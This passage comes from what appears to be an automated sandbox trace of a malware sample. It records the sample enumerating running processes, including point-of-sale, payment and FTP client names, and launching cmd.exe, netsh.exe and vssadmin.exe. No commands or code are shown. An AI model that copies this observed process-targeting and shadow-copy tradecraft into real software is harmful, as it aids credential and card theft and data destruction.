th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0062.740] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0062.741] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0062.742] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0062.742] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0062.743] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0062.744] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0062.745] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0062.746] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0062.747] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0062.748] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0062.749] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0062.750] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobile optimum looked.exe")) returned 1 [0063.878] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0063.879] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0063.880] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0063.881] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0063.881] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0063.882] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0063.883] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0063.884] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0063.885] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0063.885] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0063.886] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0063.887] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x7d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0063.887] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0063.888] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0063.889] CloseHandle (hObject=0x1c0) returned 1 [0063.889] Sleep (dwMilliseconds=0x1f4) [0064.470] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1bc [0064.475] Process32FirstW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0064.476] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0064.476] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0064.477] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0064.478] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0064.478] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0064.479] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0064.480] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0064.481] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0064.481] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0064.482] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.483] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.483] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.484] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.485] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.485] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0064.486] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.487] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.487] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0064.488] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0064.489] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0064.489] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.490] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0064.491] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0064.491] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expensesknowpolicies.exe")) returned 1 [0064.492] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="york-singing.exe")) returned 1 [0064.493] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="techno charges.exe")) returned 1 [0064.493] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="impression.exe")) returned 1 [0064.494] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="greensboro-revealed.exe")) returned 1 [0064.495] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="range-hayes-pot.exe")) returned 1 [0064.495] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pilot-liverpool-black.exe")) returned 1 [0064.496] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gammafin.exe")) returned 1 [0064.497] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pope.exe")) returned 1 [0064.498] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operates.exe")) returned 1 [0064.498] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="dynamics.exe")) returned 1 [0064.499] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="congratulations.exe")) returned 1 [0064.500] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="employer.exe")) returned 1 [0064.500] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="paypal_drunk.exe")) returned 1 [0064.501] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="italian french participants.exe")) returned 1 [0064.502] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bruceanalytical.exe")) returned 1 [0064.502] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="firefoxguess.exe")) returned 1 [0064.503] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="legally notified.exe")) returned 1 [0064.504] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="qualities.exe")) returned 1 [0064.504] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0064.700] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0064.700] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0064.701] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0064.702] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0064.703] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0064.704] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0064.704] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0064.705] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0064.706] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0064.707] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0064.707] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0064.708] Process32NextW (in: hSnapshot=0x1bc, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, 